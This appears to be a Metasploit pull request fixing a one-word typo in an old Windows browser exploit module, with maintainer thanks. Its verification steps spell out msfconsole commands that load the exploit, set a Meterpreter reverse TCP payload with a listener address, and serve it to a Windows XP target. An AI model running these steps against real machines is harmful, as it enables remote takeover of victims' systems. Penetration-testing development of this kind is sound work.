Change targetr to target to fix small typo bug on one failure

[picatz]

The target object seems to have a typo where it is referred to as “targetr” which I’d guess isn’t exactly what we’d like to do in this case. So, I’ve changed that to “target” in order to work.

So, I’ve simply fixed that small typo. ✨

Tell us what this change does. If you're fixing a bug, please mention
the github issue number.

Verification

List the steps needed to make sure this thing works

With my updated code:

• Start msfconsole
• use exploit/windows/browser/ms07_017_ani_loadimage_chunksize
• set payload windows/meterpreter/reverse_tcp
• set lhost 192.168.100.200 or whatever floats your boat
• set srvhost 192.168.100.200 ⛵️ float
• exploit 😈
• Verify That we're serving up a working exploit.
• Verify Can test on a box like Windows XP SP2 to see it works.
• Verify The typo is gone! 🎉

[picatz]

Thanks for quickly taking care of this 👍

[wvu]

Thanks for the contribution!